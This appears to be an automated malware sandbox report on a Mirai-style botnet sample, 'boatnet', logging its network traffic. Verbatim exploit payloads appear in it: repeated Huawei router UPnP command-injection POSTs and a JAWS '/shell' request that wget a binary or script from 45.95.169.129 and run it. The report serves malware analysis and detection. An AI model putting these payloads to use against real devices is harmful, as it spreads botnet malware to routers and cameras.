Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/boatnet.sh4.elf (PID: 5479)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: bot.nulling.io replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 63.236.222.92
Source: unknown	TCP traffic detected without corresponding DNS query: 114.144.107.189
Source: unknown	TCP traffic detected without corresponding DNS query: 63.17.153.24
Source: unknown	TCP traffic detected without corresponding DNS query: 131.40.175.45
Source: unknown	TCP traffic detected without corresponding DNS query: 78.250.37.250
Source: unknown	TCP traffic detected without corresponding DNS query: 121.42.70.33
Source: unknown	TCP traffic detected without corresponding DNS query: 13.23.33.188
Source: unknown	TCP traffic detected without corresponding DNS query: 93.103.22.131
Source: unknown	TCP traffic detected without corresponding DNS query: 191.61.220.78
Source: unknown	TCP traffic detected without corresponding DNS query: 171.199.5.179
Source: unknown	TCP traffic detected without corresponding DNS query: 32.131.87.5
Source: unknown	TCP traffic detected without corresponding DNS query: 148.138.143.58
Source: unknown	TCP traffic detected without corresponding DNS query: 114.107.59.138
Source: unknown	TCP traffic detected without corresponding DNS query: 65.230.203.210
Source: unknown	TCP traffic detected without corresponding DNS query: 175.157.72.124
Source: unknown	TCP traffic detected without corresponding DNS query: 83.94.101.213
Source: unknown	TCP traffic detected without corresponding DNS query: 139.125.75.115
Source: unknown	TCP traffic detected without corresponding DNS query: 208.70.116.180
Source: unknown	TCP traffic detected without corresponding DNS query: 98.129.111.121
Source: unknown	TCP traffic detected without corresponding DNS query: 189.136.23.227
Source: unknown	TCP traffic detected without corresponding DNS query: 201.14.251.215
Source: unknown	TCP traffic detected without corresponding DNS query: 148.84.227.221
Source: unknown	TCP traffic detected without corresponding DNS query: 177.13.66.45
Source: unknown	TCP traffic detected without corresponding DNS query: 53.8.92.217
Source: unknown	TCP traffic detected without corresponding DNS query: 206.159.111.112
Source: unknown	TCP traffic detected without corresponding DNS query: 17.219.24.178
Source: unknown	TCP traffic detected without corresponding DNS query: 31.81.69.81
Source: unknown	TCP traffic detected without corresponding DNS query: 67.232.47.220
Source: unknown	TCP traffic detected without corresponding DNS query: 99.125.97.72
Source: unknown	TCP traffic detected without corresponding DNS query: 157.218.194.211
Source: unknown	TCP traffic detected without corresponding DNS query: 138.66.125.96
Source: unknown	TCP traffic detected without corresponding DNS query: 126.156.219.49
Source: unknown	TCP traffic detected without corresponding DNS query: 170.117.69.61
Source: unknown	TCP traffic detected without corresponding DNS query: 216.211.64.15
Source: unknown	TCP traffic detected without corresponding DNS query: 50.111.252.230
Source: unknown	TCP traffic detected without corresponding DNS query: 38.41.60.178
Source: unknown	TCP traffic detected without corresponding DNS query: 131.167.255.94
Source: unknown	TCP traffic detected without corresponding DNS query: 189.240.24.88
Source: unknown	TCP traffic detected without corresponding DNS query: 179.85.109.143
Source: unknown	TCP traffic detected without corresponding DNS query: 163.171.65.239
Source: unknown	TCP traffic detected without corresponding DNS query: 81.208.180.164
Source: unknown	TCP traffic detected without corresponding DNS query: 27.82.232.179
Source: unknown	TCP traffic detected without corresponding DNS query: 204.33.42.126
Source: unknown	TCP traffic detected without corresponding DNS query: 141.43.198.91
Source: unknown	TCP traffic detected without corresponding DNS query: 158.101.166.46
Source: unknown	TCP traffic detected without corresponding DNS query: 153.215.19.51
Source: unknown	TCP traffic detected without corresponding DNS query: 168.29.44.220
Source: unknown	TCP traffic detected without corresponding DNS query: 102.14.142.93
Source: unknown	TCP traffic detected without corresponding DNS query: 13.176.144.13
Source: unknown	TCP traffic detected without corresponding DNS query: 145.96.18.189

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
